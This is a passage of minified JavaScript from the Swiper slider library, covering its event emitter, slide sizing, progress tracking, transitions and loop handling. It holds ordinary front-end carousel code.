t=e.navigator.userAgent.toLowerCase();return t.indexOf("safari")>=0&&t.indexOf("chrome")<0&&t.indexOf("android")<0}if(n()){const n=String(e.navigator.userAgent);if(n.includes("Version/")){const[e,i]=n.split("Version/")[1].split(" ")[0].split(".").map((e=>Number(e)));t=e<16||16===e&&i<2}}return{isSafari:t||n(),needPerspectiveFix:t,isWebView:/(iPhone|iPod|iPad).*AppleWebKit(?!.*Safari)/i.test(e.navigator.userAgent)}}()),C}var O={on(e,t,n){const i=this;if(!i.eventsListeners||i.destroyed)return i;if("function"!=typeof t)return i;const r=n?"unshift":"push";return e.split(" ").forEach((e=>{i.eventsListeners[e]||(i.eventsListeners[e]=[]),i.eventsListeners[e][r](t)})),i},once(e,t,n){const i=this;if(!i.eventsListeners||i.destroyed)return i;if("function"!=typeof t)return i;function r(){i.off(e,r),r.__emitterProxy&&delete r.__emitterProxy;for(var n=arguments.length,s=new Array(n),o=0;o<n;o++)s[o]=arguments[o];t.apply(i,s)}return r.__emitterProxy=t,i.on(e,r,n)},onAny(e,t){const n=this;if(!n.eventsListeners||n.destroyed)return n;if("function"!=typeof e)return n;const i=t?"unshift":"push";return n.eventsAnyListeners.indexOf(e)<0&&n.eventsAnyListeners[i](e),n},offAny(e){const t=this;if(!t.eventsListeners||t.destroyed)return t;if(!t.eventsAnyListeners)return t;const n=t.eventsAnyListeners.indexOf(e);return n>=0&&t.eventsAnyListeners.splice(n,1),t},off(e,t){const n=this;return!n.eventsListeners||n.destroyed?n:n.eventsListeners?(e.split(" ").forEach((e=>{void 0===t?n.eventsListeners[e]=[]:n.eventsListeners[e]&&n.eventsListeners[e].forEach(((i,r)=>{(i===t||i.__emitterProxy&&i.__emitterProxy===t)&&n.eventsListeners[e].splice(r,1)}))})),n):n},emit(){const e=this;if(!e.eventsListeners||e.destroyed)return e;if(!e.eventsListeners)return e;let t,n,i;for(var r=arguments.length,s=new Array(r),o=0;o<r;o++)s[o]=arguments[o];return"string"==typeof s[0]||Array.isArray(s[0])?(t=s[0],n=s.slice(1,s.length),i=e):(t=s[0].events,n=s[0].data,i=s[0].context||e),n.unshift(i),(Array.isArray(t)?t:t.split(" ")).forEach((t=>{e.eventsAnyListeners&&e.eventsAnyListeners.length&&e.eventsAnyListeners.forEach((e=>{e.apply(i,[t,...n])})),e.eventsListeners&&e.eventsListeners[t]&&e.eventsListeners[t].forEach((e=>{e.apply(i,n)}))})),e}};const P=(e,t)=>{if(!e||e.destroyed||!e.params)return;const n=t.closest(e.isElement?"swiper-slide":`.${e.params.slideClass}`);if(n){let t=n.querySelector(`.${e.params.lazyPreloaderClass}`);!t&&e.isElement&&(n.shadowRoot?t=n.shadowRoot.querySelector(`.${e.params.lazyPreloaderClass}`):requestAnimationFrame((()=>{n.shadowRoot&&(t=n.shadowRoot.querySelector(`.${e.params.lazyPreloaderClass}`),t&&t.remove())}))),t&&t.remove()}},L=(e,t)=>{if(!e.slides[t])return;const n=e.slides[t].querySelector('[loading="lazy"]');n&&n.removeAttribute("loading")},D=e=>{if(!e||e.destroyed||!e.params)return;let t=e.params.lazyPreloadPrevNext;const n=e.slides.length;if(!n||!t||t<0)return;t=Math.min(t,n);const i="auto"===e.params.slidesPerView?e.slidesPerViewDynamic():Math.ceil(e.params.slidesPerView),r=e.activeIndex;if(e.params.grid&&e.params.grid.rows>1){const n=r,s=[n-t];return s.push(...Array.from({length:t}).map(((e,t)=>n+i+t))),void e.slides.forEach(((t,n)=>{s.includes(t.column)&&L(e,n)}))}const s=r+i-1;if(e.params.rewind||e.params.loop)for(let i=r-t;i<=s+t;i+=1){const t=(i%n+n)%n;(t<r||t>s)&&L(e,t)}else for(let i=Math.max(r-t,0);i<=Math.min(s+t,n-1);i+=1)i!==r&&(i>s||i<r)&&L(e,i)};var I={updateSize:function(){const e=this;let t,n;const i=e.el;t=void 0!==e.params.width&&null!==e.params.width?e.params.width:i.clientWidth,n=void 0!==e.params.height&&null!==e.params.height?e.params.height:i.clientHeight,0===t&&e.isHorizontal()||0===n&&e.isVertical()||(t=t-parseInt(b(i,"padding-left")||0,10)-parseInt(b(i,"padding-right")||0,10),n=n-parseInt(b(i,"padding-top")||0,10)-parseInt(b(i,"padding-bottom")||0,10),Number.isNaN(t)&&(t=0),Number.isNaN(n)&&(n=0),Object.assign(e,{width:t,height:n,size:e.isHorizontal()?t:n}))},updateSlides:function(){const e=this;function t(t,n){return parseFloat(t.getPropertyValue(e.getDirectionLabel(n))||0)}const n=e.params,{wrapperEl:i,slidesEl:r,size:s,rtlTranslate:o,wrongRTL:a}=e,l=e.virtual&&n.virtual.enabled,c=l?e.virtual.slides.length:e.slides.length,u=m(r,`.${e.params.slideClass}, swiper-slide`),d=l?e.virtual.slides.length:u.length;let h=[];const f=[],g=[];let v=n.slidesOffsetBefore;"function"==typeof v&&(v=n.slidesOffsetBefore.call(e));let y=n.slidesOffsetAfter;"function"==typeof y&&(y=n.slidesOffsetAfter.call(e));const w=e.snapGrid.length,_=e.slidesGrid.length;let x=n.spaceBetween,E=-v,S=0,C=0;if(void 0===s)return;"string"==typeof x&&x.indexOf("%")>=0?x=parseFloat(x.replace("%",""))/100*s:"string"==typeof x&&(x=parseFloat(x)),e.virtualSize=-x,u.forEach((e=>{o?e.style.marginLeft="":e.style.marginRight="",e.style.marginBottom="",e.style.marginTop=""})),n.centeredSlides&&n.cssMode&&(p(i,"--swiper-centered-offset-before",""),p(i,"--swiper-centered-offset-after",""));const M=n.grid&&n.grid.rows>1&&e.grid;let k;M?e.grid.initSlides(u):e.grid&&e.grid.unsetSlides();const A="auto"===n.slidesPerView&&n.breakpoints&&Object.keys(n.breakpoints).filter((e=>void 0!==n.breakpoints[e].slidesPerView)).length>0;for(let i=0;i<d;i+=1){let r;if(k=0,u[i]&&(r=u[i]),M&&e.grid.updateSlide(i,r,u),!u[i]||"none"!==b(r,"display")){if("auto"===n.slidesPerView){A&&(u[i].style[e.getDirectionLabel("width")]="");const s=getComputedStyle(r),o=r.style.transform,a=r.style.webkitTransform;if(o&&(r.style.transform="none"),a&&(r.style.webkitTransform="none"),n.roundLengths)k=e.isHorizontal()?T(r,"width",!0):T(r,"height",!0);else{const e=t(s,"width"),n=t(s,"padding-left"),i=t(s,"padding-right"),o=t(s,"margin-left"),a=t(s,"margin-right"),l=s.getPropertyValue("box-sizing");if(l&&"border-box"===l)k=e+o+a;else{const{clientWidth:t,offsetWidth:s}=r;k=e+n+i+o+a+(s-t)}}o&&(r.style.transform=o),a&&(r.style.webkitTransform=a),n.roundLengths&&(k=Math.floor(k))}else k=(s-(n.slidesPerView-1)*x)/n.slidesPerView,n.roundLengths&&(k=Math.floor(k)),u[i]&&(u[i].style[e.getDirectionLabel("width")]=`${k}px`);u[i]&&(u[i].swiperSlideSize=k),g.push(k),n.centeredSlides?(E=E+k/2+S/2+x,0===S&&0!==i&&(E=E-s/2-x),0===i&&(E=E-s/2-x),Math.abs(E)<.001&&(E=0),n.roundLengths&&(E=Math.floor(E)),C%n.slidesPerGroup==0&&h.push(E),f.push(E)):(n.roundLengths&&(E=Math.floor(E)),(C-Math.min(e.params.slidesPerGroupSkip,C))%e.params.slidesPerGroup==0&&h.push(E),f.push(E),E=E+k+x),e.virtualSize+=k+x,S=k,C+=1}}if(e.virtualSize=Math.max(e.virtualSize,s)+y,o&&a&&("slide"===n.effect||"coverflow"===n.effect)&&(i.style.width=`${e.virtualSize+x}px`),n.setWrapperSize&&(i.style[e.getDirectionLabel("width")]=`${e.virtualSize+x}px`),M&&e.grid.updateWrapperSize(k,h),!n.centeredSlides){const t=[];for(let i=0;i<h.length;i+=1){let r=h[i];n.roundLengths&&(r=Math.floor(r)),h[i]<=e.virtualSize-s&&t.push(r)}h=t,Math.floor(e.virtualSize-s)-Math.floor(h[h.length-1])>1&&h.push(e.virtualSize-s)}if(l&&n.loop){const t=g[0]+x;if(n.slidesPerGroup>1){const i=Math.ceil((e.virtual.slidesBefore+e.virtual.slidesAfter)/n.slidesPerGroup),r=t*n.slidesPerGroup;for(let e=0;e<i;e+=1)h.push(h[h.length-1]+r)}for(let i=0;i<e.virtual.slidesBefore+e.virtual.slidesAfter;i+=1)1===n.slidesPerGroup&&h.push(h[h.length-1]+t),f.push(f[f.length-1]+t),e.virtualSize+=t}if(0===h.length&&(h=[0]),0!==x){const t=e.isHorizontal()&&o?"marginLeft":e.getDirectionLabel("marginRight");u.filter(((e,t)=>!(n.cssMode&&!n.loop)||t!==u.length-1)).forEach((e=>{e.style[t]=`${x}px`}))}if(n.centeredSlides&&n.centeredSlidesBounds){let e=0;g.forEach((t=>{e+=t+(x||0)})),e-=x;const t=e-s;h=h.map((e=>e<=0?-v:e>t?t+y:e))}if(n.centerInsufficientSlides){let e=0;if(g.forEach((t=>{e+=t+(x||0)})),e-=x,e<s){const t=(s-e)/2;h.forEach(((e,n)=>{h[n]=e-t})),f.forEach(((e,n)=>{f[n]=e+t}))}}if(Object.assign(e,{slides:u,snapGrid:h,slidesGrid:f,slidesSizesGrid:g}),n.centeredSlides&&n.cssMode&&!n.centeredSlidesBounds){p(i,"--swiper-centered-offset-before",-h[0]+"px"),p(i,"--swiper-centered-offset-after",e.size/2-g[g.length-1]/2+"px");const t=-e.snapGrid[0],n=-e.slidesGrid[0];e.snapGrid=e.snapGrid.map((e=>e+t)),e.slidesGrid=e.slidesGrid.map((e=>e+n))}if(d!==c&&e.emit("slidesLengthChange"),h.length!==w&&(e.params.watchOverflow&&e.checkOverflow(),e.emit("snapGridLengthChange")),f.length!==_&&e.emit("slidesGridLengthChange"),n.watchSlidesProgress&&e.updateSlidesOffset(),e.emit("slidesUpdated"),!(l||n.cssMode||"slide"!==n.effect&&"fade"!==n.effect)){const t=`${n.containerModifierClass}backface-hidden`,i=e.el.classList.contains(t);d<=n.maxBackfaceHiddenSlides?i||e.el.classList.add(t):i&&e.el.classList.remove(t)}},updateAutoHeight:function(e){const t=this,n=[],i=t.virtual&&t.params.virtual.enabled;let r,s=0;"number"==typeof e?t.setTransition(e):!0===e&&t.setTransition(t.params.speed);const o=e=>i?t.slides[t.getSlideIndexByData(e)]:t.slides[e];if("auto"!==t.params.slidesPerView&&t.params.slidesPerView>1)if(t.params.centeredSlides)(t.visibleSlides||[]).forEach((e=>{n.push(e)}));else for(r=0;r<Math.ceil(t.params.slidesPerView);r+=1){const e=t.activeIndex+r;if(e>t.slides.length&&!i)break;n.push(o(e))}else n.push(o(t.activeIndex));for(r=0;r<n.length;r+=1)if(void 0!==n[r]){const e=n[r].offsetHeight;s=e>s?e:s}(s||0===s)&&(t.wrapperEl.style.height=`${s}px`)},updateSlidesOffset:function(){const e=this,t=e.slides,n=e.isElement?e.isHorizontal()?e.wrapperEl.offsetLeft:e.wrapperEl.offsetTop:0;for(let i=0;i<t.length;i+=1)t[i].swiperSlideOffset=(e.isHorizontal()?t[i].offsetLeft:t[i].offsetTop)-n-e.cssOverflowAdjustment()},updateSlidesProgress:function(e){void 0===e&&(e=this&&this.translate||0);const t=this,n=t.params,{slides:i,rtlTranslate:r,snapGrid:s}=t;if(0===i.length)return;void 0===i[0].swiperSlideOffset&&t.updateSlidesOffset();let o=-e;r&&(o=e),i.forEach((e=>{e.classList.remove(n.slideVisibleClass,n.slideFullyVisibleClass)})),t.visibleSlidesIndexes=[],t.visibleSlides=[];let a=n.spaceBetween;"string"==typeof a&&a.indexOf("%")>=0?a=parseFloat(a.replace("%",""))/100*t.size:"string"==typeof a&&(a=parseFloat(a));for(let e=0;e<i.length;e+=1){const l=i[e];let c=l.swiperSlideOffset;n.cssMode&&n.centeredSlides&&(c-=i[0].swiperSlideOffset);const u=(o+(n.centeredSlides?t.minTranslate():0)-c)/(l.swiperSlideSize+a),d=(o-s[0]+(n.centeredSlides?t.minTranslate():0)-c)/(l.swiperSlideSize+a),p=-(o-c),h=p+t.slidesSizesGrid[e],f=p>=0&&p<=t.size-t.slidesSizesGrid[e];(p>=0&&p<t.size-1||h>1&&h<=t.size||p<=0&&h>=t.size)&&(t.visibleSlides.push(l),t.visibleSlidesIndexes.push(e),i[e].classList.add(n.slideVisibleClass)),f&&i[e].classList.add(n.slideFullyVisibleClass),l.progress=r?-u:u,l.originalProgress=r?-d:d}},updateProgress:function(e){const t=this;if(void 0===e){const n=t.rtlTranslate?-1:1;e=t&&t.translate&&t.translate*n||0}const n=t.params,i=t.maxTranslate()-t.minTranslate();let{progress:r,isBeginning:s,isEnd:o,progressLoop:a}=t;const l=s,c=o;if(0===i)r=0,s=!0,o=!0;else{r=(e-t.minTranslate())/i;const n=Math.abs(e-t.minTranslate())<1,a=Math.abs(e-t.maxTranslate())<1;s=n||r<=0,o=a||r>=1,n&&(r=0),a&&(r=1)}if(n.loop){const n=t.getSlideIndexByData(0),i=t.getSlideIndexByData(t.slides.length-1),r=t.slidesGrid[n],s=t.slidesGrid[i],o=t.slidesGrid[t.slidesGrid.length-1],l=Math.abs(e);a=l>=r?(l-r)/o:(l+o-s)/o,a>1&&(a-=1)}Object.assign(t,{progress:r,progressLoop:a,isBeginning:s,isEnd:o}),(n.watchSlidesProgress||n.centeredSlides&&n.autoHeight)&&t.updateSlidesProgress(e),s&&!l&&t.emit("reachBeginning toEdge"),o&&!c&&t.emit("reachEnd toEdge"),(l&&!s||c&&!o)&&t.emit("fromEdge"),t.emit("progress",r)},updateSlidesClasses:function(){const e=this,{slides:t,params:n,slidesEl:i,activeIndex:r}=e,s=e.virtual&&n.virtual.enabled,o=e.grid&&n.grid&&n.grid.rows>1,a=e=>m(i,`.${n.slideClass}${e}, swiper-slide${e}`)[0];let l,c,u;if(t.forEach((e=>{e.classList.remove(n.slideActiveClass,n.slideNextClass,n.slidePrevClass)})),s)if(n.loop){let t=r-e.virtual.slidesBefore;t<0&&(t=e.virtual.slides.length+t),t>=e.virtual.slides.length&&(t-=e.virtual.slides.length),l=a(`[data-swiper-slide-index="${t}"]`)}else l=a(`[data-swiper-slide-index="${r}"]`);else o?(l=t.filter((e=>e.column===r))[0],u=t.filter((e=>e.column===r+1))[0],c=t.filter((e=>e.column===r-1))[0]):l=t[r];l&&(l.classList.add(n.slideActiveClass),o?(u&&u.classList.add(n.slideNextClass),c&&c.classList.add(n.slidePrevClass)):(u=function(e,t){const n=[];for(;e.nextElementSibling;){const i=e.nextElementSibling;t?i.matches(t)&&n.push(i):n.push(i),e=i}return n}(l,`.${n.slideClass}, swiper-slide`)[0],n.loop&&!u&&(u=t[0]),u&&u.classList.add(n.slideNextClass),c=function(e,t){const n=[];for(;e.previousElementSibling;){const i=e.previousElementSibling;t?i.matches(t)&&n.push(i):n.push(i),e=i}return n}(l,`.${n.slideClass}, swiper-slide`)[0],n.loop&&0===!c&&(c=t[t.length-1]),c&&c.classList.add(n.slidePrevClass))),e.emitSlidesClasses()},updateActiveIndex:function(e){const t=this,n=t.rtlTranslate?t.translate:-t.translate,{snapGrid:i,params:r,activeIndex:s,realIndex:o,snapIndex:a}=t;let l,c=e;const u=e=>{let n=e-t.virtual.slidesBefore;return n<0&&(n=t.virtual.slides.length+n),n>=t.virtual.slides.length&&(n-=t.virtual.slides.length),n};if(void 0===c&&(c=function(e){const{slidesGrid:t,params:n}=e,i=e.rtlTranslate?e.translate:-e.translate;let r;for(let e=0;e<t.length;e+=1)void 0!==t[e+1]?i>=t[e]&&i<t[e+1]-(t[e+1]-t[e])/2?r=e:i>=t[e]&&i<t[e+1]&&(r=e+1):i>=t[e]&&(r=e);return n.normalizeSlideIndex&&(r<0||void 0===r)&&(r=0),r}(t)),i.indexOf(n)>=0)l=i.indexOf(n);else{const e=Math.min(r.slidesPerGroupSkip,c);l=e+Math.floor((c-e)/r.slidesPerGroup)}if(l>=i.length&&(l=i.length-1),c===s&&!t.params.loop)return void(l!==a&&(t.snapIndex=l,t.emit("snapIndexChange")));if(c===s&&t.params.loop&&t.virtual&&t.params.virtual.enabled)return void(t.realIndex=u(c));const d=t.grid&&r.grid&&r.grid.rows>1;let p;if(t.virtual&&r.virtual.enabled&&r.loop)p=u(c);else if(d){const e=t.slides.filter((e=>e.column===c))[0];let n=parseInt(e.getAttribute("data-swiper-slide-index"),10);Number.isNaN(n)&&(n=Math.max(t.slides.indexOf(e),0)),p=Math.floor(n/r.grid.rows)}else if(t.slides[c]){const e=t.slides[c].getAttribute("data-swiper-slide-index");p=e?parseInt(e,10):c}else p=c;Object.assign(t,{previousSnapIndex:a,snapIndex:l,previousRealIndex:o,realIndex:p,previousIndex:s,activeIndex:c}),t.initialized&&D(t),t.emit("activeIndexChange"),t.emit("snapIndexChange"),(t.initialized||t.params.runCallbacksOnInit)&&(o!==p&&t.emit("realIndexChange"),t.emit("slideChange"))},updateClickedSlide:function(e,t){const n=this,i=n.params;let r=e.closest(`.${i.slideClass}, swiper-slide`);!r&&n.isElement&&t&&t.length>1&&t.includes(e)&&[...t.slice(t.indexOf(e)+1,t.length)].forEach((e=>{!r&&e.matches&&e.matches(`.${i.slideClass}, swiper-slide`)&&(r=e)}));let s,o=!1;if(r)for(let e=0;e<n.slides.length;e+=1)if(n.slides[e]===r){o=!0,s=e;break}if(!r||!o)return n.clickedSlide=void 0,void(n.clickedIndex=void 0);n.clickedSlide=r,n.virtual&&n.params.virtual.enabled?n.clickedIndex=parseInt(r.getAttribute("data-swiper-slide-index"),10):n.clickedIndex=s,i.slideToClickedSlide&&void 0!==n.clickedIndex&&n.clickedIndex!==n.activeIndex&&n.slideToClickedSlide()}},z={getTranslate:function(e){void 0===e&&(e=this.isHorizontal()?"x":"y");const{params:t,rtlTranslate:n,translate:i,wrapperEl:r}=this;if(t.virtualTranslate)return n?-i:i;if(t.cssMode)return i;let s=c(r,e);return s+=this.cssOverflowAdjustment(),n&&(s=-s),s||0},setTranslate:function(e,t){const n=this,{rtlTranslate:i,params:r,wrapperEl:s,progress:o}=n;let a,l=0,c=0;n.isHorizontal()?l=i?-e:e:c=e,r.roundLengths&&(l=Math.floor(l),c=Math.floor(c)),n.previousTranslate=n.translate,n.translate=n.isHorizontal()?l:c,r.cssMode?s[n.isHorizontal()?"scrollLeft":"scrollTop"]=n.isHorizontal()?-l:-c:r.virtualTranslate||(n.isHorizontal()?l-=n.cssOverflowAdjustment():c-=n.cssOverflowAdjustment(),s.style.transform=`translate3d(${l}px, ${c}px, 0px)`);const u=n.maxTranslate()-n.minTranslate();a=0===u?0:(e-n.minTranslate())/u,a!==o&&n.updateProgress(e),n.emit("setTranslate",n.translate,t)},minTranslate:function(){return-this.snapGrid[0]},maxTranslate:function(){return-this.snapGrid[this.snapGrid.length-1]},translateTo:function(e,t,n,i,r){void 0===e&&(e=0),void 0===t&&(t=this.params.speed),void 0===n&&(n=!0),void 0===i&&(i=!0);const s=this,{params:o,wrapperEl:a}=s;if(s.animating&&o.preventInteractionOnTransition)return!1;const l=s.minTranslate(),c=s.maxTranslate();let u;if(u=i&&e>l?l:i&&e<c?c:e,s.updateProgress(u),o.cssMode){const e=s.isHorizontal();if(0===t)a[e?"scrollLeft":"scrollTop"]=-u;else{if(!s.support.smoothScroll)return h({swiper:s,targetPosition:-u,side:e?"left":"top"}),!0;a.scrollTo({[e?"left":"top"]:-u,behavior:"smooth"})}return!0}return 0===t?(s.setTransition(0),s.setTranslate(u),n&&(s.emit("beforeTransitionStart",t,r),s.emit("transitionEnd"))):(s.setTransition(t),s.setTranslate(u),n&&(s.emit("beforeTransitionStart",t,r),s.emit("transitionStart")),s.animating||(s.animating=!0,s.onTranslateToWrapperTransitionEnd||(s.onTranslateToWrapperTransitionEnd=function(e){s&&!s.destroyed&&e.target===this&&(s.wrapperEl.removeEventListener("transitionend",s.onTranslateToWrapperTransitionEnd),s.onTranslateToWrapperTransitionEnd=null,delete s.onTranslateToWrapperTransitionEnd,n&&s.emit("transitionEnd"))}),s.wrapperEl.addEventListener("transitionend",s.onTranslateToWrapperTransitionEnd))),!0}};function N(e){let{swiper:t,runCallbacks:n,direction:i,step:r}=e;const{activeIndex:s,previousIndex:o}=t;let a=i;if(a||(a=s>o?"next":s<o?"prev":"reset"),t.emit(`transition${r}`),n&&s!==o){if("reset"===a)return void t.emit(`slideResetTransition${r}`);t.emit(`slideChangeTransition${r}`),"next"===a?t.emit(`slideNextTransition${r}`):t.emit(`slidePrevTransition${r}`)}}var R={slideTo:function(e,t,n,i,r){void 0===e&&(e=0),void 0===t&&(t=this.params.speed),void 0===n&&(n=!0),"string"==typeof e&&(e=parseInt(e,10));const s=this;let o=e;o<0&&(o=0);const{params:a,snapGrid:l,slidesGrid:c,previousIndex:u,activeIndex:d,rtlTranslate:p,wrapperEl:f,enabled:m}=s;if(s.animating&&a.preventInteractionOnTransition||!m&&!i&&!r)return!1;const g=Math.min(s.params.slidesPerGroupSkip,o);let v=g+Math.floor((o-g)/s.params.slidesPerGroup);v>=l.length&&(v=l.length-1);const y=-l[v];if(a.normalizeSlideIndex)for(let e=0;e<c.length;e+=1){const t=-Math.floor(100*y),n=Math.floor(100*c[e]),i=Math.floor(100*c[e+1]);void 0!==c[e+1]?t>=n&&t<i-(i-n)/2?o=e:t>=n&&t<i&&(o=e+1):t>=n&&(o=e)}if(s.initialized&&o!==d){if(!s.allowSlideNext&&(p?y>s.translate&&y>s.minTranslate():y<s.translate&&y<s.minTranslate()))return!1;if(!s.allowSlidePrev&&y>s.translate&&y>s.maxTranslate()&&(d||0)!==o)return!1}let b;if(o!==(u||0)&&n&&s.emit("beforeSlideChangeStart"),s.updateProgress(y),b=o>d?"next":o<d?"prev":"reset",p&&-y===s.translate||!p&&y===s.translate)return s.updateActiveIndex(o),a.autoHeight&&s.updateAutoHeight(),s.updateSlidesClasses(),"slide"!==a.effect&&s.setTranslate(y),"reset"!==b&&(s.transitionStart(n,b),s.transitionEnd(n,b)),!1;if(a.cssMode){const e=s.isHorizontal(),n=p?y:-y;if(0===t){const t=s.virtual&&s.params.virtual.enabled;t&&(s.wrapperEl.style.scrollSnapType="none",s._immediateVirtual=!0),t&&!s._cssModeVirtualInitialSet&&s.params.initialSlide>0?(s._cssModeVirtualInitialSet=!0,requestAnimationFrame((()=>{f[e?"scrollLeft":"scrollTop"]=n}))):f[e?"scrollLeft":"scrollTop"]=n,t&&requestAnimationFrame((()=>{s.wrapperEl.style.scrollSnapType="",s._immediateVirtual=!1}))}else{if(!s.support.smoothScroll)return h({swiper:s,targetPosition:n,side:e?"left":"top"}),!0;f.scrollTo({[e?"left":"top"]:n,behavior:"smooth"})}return!0}return s.setTransition(t),s.setTranslate(y),s.updateActiveIndex(o),s.updateSlidesClasses(),s.emit("beforeTransitionStart",t,i),s.transitionStart(n,b),0===t?s.transitionEnd(n,b):s.animating||(s.animating=!0,s.onSlideToWrapperTransitionEnd||(s.onSlideToWrapperTransitionEnd=function(e){s&&!s.destroyed&&e.target===this&&(s.wrapperEl.removeEventListener("transitionend",s.onSlideToWrapperTransitionEnd),s.onSlideToWrapperTransitionEnd=null,delete s.onSlideToWrapperTransitionEnd,s.transitionEnd(n,b))}),s.wrapperEl.addEventListener("transitionend",s.onSlideToWrapperTransitionEnd)),!0},slideToLoop:function(e,t,n,i){void 0===e&&(e=0),void 0===t&&(t=this.params.speed),void 0===n&&(n=!0),"string"==typeof e&&(e=parseInt(e,10));const r=this,s=r.grid&&r.params.grid&&r.params.grid.rows>1;let o=e;if(r.params.loop)if(r.virtual&&r.params.virtual.enabled)o+=r.virtual.slidesBefore;else{let e;if(s){const t=o*r.params.grid.rows;e=r.slides.filter((e=>1*e.getAttribute("data-swiper-slide-index")===t))[0].column}else e=r.getSlideIndexByData(o);const t=s?Math.ceil(r.slides.length/r.params.grid.rows):r.slides.length,{centeredSlides:n}=r.params;let i=r.params.slidesPerView;"auto"===i?i=r.slidesPerViewDynamic():(i=Math.ceil(parseFloat(r.params.slidesPerView,10)),n&&i%2==0&&(i+=1));let a=t-e<i;if(n&&(a=a||e<Math.ceil(i/2)),a){const i=n?e<r.activeIndex?"prev":"next":e-r.activeIndex-1<r.params.slidesPerView?"next":"prev";r.loopFix({direction:i,slideTo:!0,activeSlideIndex:"next"===i?e+1:e-t+1,slideRealIndex:"next"===i?r.realIndex:void 0})}if(s){const e=o*r.params.grid.rows;o=r.slides.filter((t=>1*t.getAttribute("data-swiper-slide-index")===e))[0].column}else o=r.getSlideIndexByData(o)}return requestAnimationFrame((()=>{r.slideTo(o,t,n,i)})),r},slideNext:function(e,t,n){void 0===e&&(e=this.params.speed),void 0===t&&(t=!0);const i=this,{enabled:r,params:s,animating:o}=i;if(!r)return i;let a=s.slidesPerGroup;"auto"===s.slidesPerView&&1===s.slidesPerGroup&&s.slidesPerGroupAuto&&(a=Math.max(i.slidesPerViewDynamic("current",!0),1));const l=i.activeIndex<s.slidesPerGroupSkip?1:a,c=i.virtual&&s.virtual.enabled;if(s.loop){if(o&&!c&&s.loopPreventsSliding)return!1;if(i.loopFix({direction:"next"}),i._clientLeft=i.wrapperEl.clientLeft,i.activeIndex===i.slides.length-1&&s.cssMode)return requestAnimationFrame((()=>{i.slideTo(i.activeIndex+l,e,t,n)})),!0}return s.rewind&&i.isEnd?i.slideTo(0,e,t,n):i.slideTo(i.activeIndex+l,e,t,n)},slidePrev:function(e,t,n){void 0===e&&(e=this.params.speed),void 0===t&&(t=!0);const i=this,{params:r,snapGrid:s,slidesGrid:o,rtlTranslate:a,enabled:l,animating:c}=i;if(!l)return i;const u=i.virtual&&r.virtual.enabled;if(r.loop){if(c&&!u&&r.loopPreventsSliding)return!1;i.loopFix({direction:"prev"}),i._clientLeft=i.wrapperEl.clientLeft}function d(e){return e<0?-Math.floor(Math.abs(e)):Math.floor(e)}const p=d(a?i.translate:-i.translate),h=s.map((e=>d(e)));let f=s[h.indexOf(p)-1];if(void 0===f&&r.cssMode){let e;s.forEach(((t,n)=>{p>=t&&(e=n)})),void 0!==e&&(f=s[e>0?e-1:e])}let m=0;if(void 0!==f&&(m=o.indexOf(f),m<0&&(m=i.activeIndex-1),"auto"===r.slidesPerView&&1===r.slidesPerGroup&&r.slidesPerGroupAuto&&(m=m-i.slidesPerViewDynamic("previous",!0)+1,m=Math.max(m,0))),r.rewind&&i.isBeginning){const r=i.params.virtual&&i.params.virtual.enabled&&i.virtual?i.virtual.slides.length-1:i.slides.length-1;return i.slideTo(r,e,t,n)}return r.loop&&0===i.activeIndex&&r.cssMode?(requestAnimationFrame((()=>{i.slideTo(m,e,t,n)})),!0):i.slideTo(m,e,t,n)},slideReset:function(e,t,n){return void 0===e&&(e=this.params.speed),void 0===t&&(t=!0),this.slideTo(this.activeIndex,e,t,n)},slideToClosest:function(e,t,n,i){void 0===e&&(e=this.params.speed),void 0===t&&(t=!0),void 0===i&&(i=.5);const r=this;let s=r.activeIndex;const o=Math.min(r.params.slidesPerGroupSkip,s),a=o+Math.floor((s-o)/r.params.slidesPerGroup),l=r.rtlTranslate?r.translate:-r.translate;if(l>=r.snapGrid[a]){const e=r.snapGrid[a];l-e>(r.snapGrid[a+1]-e)*i&&(s+=r.params.slidesPerGroup)}else{const e=r.snapGrid[a-1];l-e<=(r.snapGrid[a]-e)*i&&(s-=r.params.slidesPerGroup)}return s=Math.max(s,0),s=Math.min(s,r.slidesGrid.length-1),r.slideTo(s,e,t,n)},slideToClickedSlide:function(){const e=this,{params:t,slidesEl:n}=e,i="auto"===t.slidesPerView?e.slidesPerViewDynamic():t.slidesPerView;let r,s=e.clickedIndex;const o=e.isElement?"swiper-slide":`.${t.slideClass}`;if(t.loop){if(e.animating)return;r=parseInt(e.clickedSlide.getAttribute("data-swiper-slide-index"),10),t.centeredSlides?s<e.loopedSlides-i/2||s>e.slides.length-e.loopedSlides+i/2?(e.loopFix(),s=e.getSlideIndex(m(n,`${o}[data-swiper-slide-index="${r}"]`)[0]),a((()=>{e.slideTo(s)}))):e.slideTo(s):s>e.slides.length-i?(e.loopFix(),s=e.getSlideIndex(m(n,`${o}[data-swiper-slide-index="${r}"]`)[0]),a((()=>{e.slideTo(s)}))):e.slideTo(s)}else e.slideTo(s)}},$={loopCreate:function(e){const t=this,{params:n,slidesEl:i}=t;if(!n.loop||t.virtual&&t.params.virtual.enabled)return;const r=()=>{m(i,`.${n.slideClass}, swiper-slide`).forEach(((e,t)=>{e.setAttribute("data-swiper-slide-index",t)}))},s=t.grid&&n.grid&&n.grid.rows>1,o=n.slidesPerGroup*(s?n.grid.rows:1),a=t.slides.length%o!=0,l=s&&t.slides.length%n.grid.rows!=0,c=e=>{for(let i=0;i<e;i+=1){const e=t.isElement?v("swiper-slide",[n.slideBlankClass]):v("div",[n.slideClass,n.slideBlankClass]);t.slidesEl.append(e)}};a?(n.loopAddBlankSlides?(c(o-t.slides.length%o),t.recalcSlides(),t.updateSlides()):g("Swiper Loop Warning: The number of slides is not even to slidesPerGroup, loop mode may not function properly. You need to add more slides (or make duplicates, or empty slides)"),r()):l?(n.loopAddBlankSlides?(c(n.grid.rows-t.slides.length%n.grid.rows),t.recalcSlides(),t.updateSlides()):g("Swiper Loop Warning: The number of slides is not even to grid.rows, loop mode may not function properly. You need to add more slides (or make duplicates, or empty slides)"),r()):r(),t.loopFix({slideRealIndex:e,direction:n.centeredSlides?void 0:"next"})},loopFix:function(e){let{slideRealIndex:t,slideTo:n=!0,direction:i,setTranslate:r,activeSlideIndex:s,byController:o,byMousewheel:a}=void 0===e?{}:e;const l=this;if(!l.params.loop)return;l.emit("beforeLoopFix");const{slides:c,allowSlidePrev:u,allowSlideNext:d,slidesEl:p,params:h}=l,{centeredSlides:f}=h;if(l.allowSlidePrev=!0,l.allowSlideNext=!0,l.virtual&&h.virtual.enabled)return 